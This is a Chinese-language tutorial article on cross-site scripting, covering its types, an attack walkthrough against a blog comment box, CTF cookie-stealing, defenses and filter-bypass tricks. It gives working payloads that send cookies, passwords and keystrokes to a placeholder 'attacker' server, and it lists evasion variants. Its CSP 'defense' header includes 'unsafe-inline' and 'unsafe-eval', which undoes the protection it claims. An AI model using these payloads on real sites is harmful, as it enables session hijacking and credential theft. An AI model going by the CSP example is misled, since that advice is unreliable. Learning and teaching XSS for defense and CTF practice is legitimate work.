XSS攻击(跨站脚本攻击)详解与实战
- 互联网
- 2025-09-04 02:15:02

文章目录 一、什么是XSS?二、XSS分类与场景三、XSS攻击实战流程四、CTF中的XSS利用五、XSS防御方案六、绕过过滤的常见技巧七、实战练习资源 一、什么是XSS?
XSS(Cross-Site Scripting) 是一种通过向网页注入恶意脚本(JavaScript、HTML等),在用户浏览器中执行的攻击方式。攻击者可窃取用户Cookie、会话令牌,甚至控制用户浏览器行为。
二、XSS分类与场景
存储型XSS(Stored XSS)
特点:恶意脚本永久存储在目标服务器(如评论区、用户资料页)。影响范围:所有访问受影响页面的用户。示例:<script>alert('XSS');</script> // 提交到评论区,所有用户加载时触发弹窗反射型XSS(Reflected XSS)
特点:恶意脚本通过URL参数传递,服务端返回时直接嵌入页面。触发条件:用户需点击构造的恶意链接。示例: http://victim /search?q=<script>alert(document.cookie)</script>`DOM型XSS(DOM-Based XSS)
特点:漏洞位于客户端JavaScript代码中,不经过服务端处理。
常见场景:通过location.hash、document.write等动态修改DOM。
示例:
// 假设页面JS代码:document.write(location.hash.substring(1)); 恶意URL:http://victim #<img src=x onerror=alert(1)>三、XSS攻击实战流程
目标场景:某博客平台的评论功能存在存储型XSS漏洞。
步骤1:探测注入点
在评论区提交测试Payload:
<script>alert(1)</script>若页面弹窗,确认漏洞存在。
步骤2:窃取用户Cookie
构造Payload将Cookie发送至攻击者服务器:
<script> fetch('http://attacker /steal?cookie=' + document.cookie); </script>攻击者服务器(attacker )记录窃取的Cookie,用于会话劫持。
步骤3:钓鱼攻击
伪造登录表单诱导用户输入密码:
<div style="display:none" id="phish"> <form action="http://attacker /log" method="POST"> <input type="password" name="password"> <input type="submit" value="Login"> </form> </div> <script>document.getElementById('phish').style.display='block';</script>步骤4:键盘记录
监听用户输入并回传数据:
<script>document.addEventListener('keypress', (e) => { fetch('http://attacker /keylog?key=' + e.key); }); </script>四、CTF中的XSS利用
窃取管理员Cookie获取Flag
题目场景:留言板存在XSS,管理员会查看留言。
Payload:
<script>location.href = 'http://attacker /?flag=' + document.cookie; </script>攻击者服务器接收管理员Cookie中的Flag。
DOM型XSS绕过过滤
题目过滤了<script>标签,但允许img标签:
<img src=x onerror="alert(1)">利用事件处理器(如onerror、onload)执行代码。
利用伪协议
通过javascript:协议触发XSS:
http://victim /profile?name=<a href="javascript:alert(1)">Click</a>五、XSS防御方案
输入过滤与输出编码
对用户输入的特殊字符(<, >, &, ', ")进行HTML实体编码:
// PHP示例 echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');避免直接使用innerHTML,优先使用textContent。
内容安全策略(CSP)
通过HTTP头限制脚本来源:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'设置HttpOnly标志
Cookie中标记HttpOnly,防止JavaScript读取:
Set-Cookie: session=abc123; HttpOnly; Secure框架自动防护
使用现代前端框架(如React、Vue),默认对动态内容进行转义。六、绕过过滤的常见技巧
大小写混淆:
<ScRiPt>alert(1)</sCriPt>编码绕过:
HTML实体编码:
<img src=x onerror="alert(1)">JavaScript Unicode编码:
\u0061\u006c\u0065\u0072\u0074(1)利用标签属性:
<svg/onload=alert(1)> <iframe src="javascript:alert(1)">七、实战练习资源 PortSwigger XSS Labs 地址: portswigger.net/web-security/cross-site-scripting XSS挑战游戏 XSS Game(Google): xss-game.appspot CTF平台 Hack The Box, CTFlearn中的Web题目。
总结:XSS攻击的核心在于控制用户浏览器执行恶意脚本。防御需结合输入过滤、输出编码、CSP等多层措施。在CTF中,灵活构造Payload并理解上下文过滤规则是解题关键。
XSS攻击(跨站脚本攻击)详解与实战由讯客互联互联网栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“XSS攻击(跨站脚本攻击)详解与实战”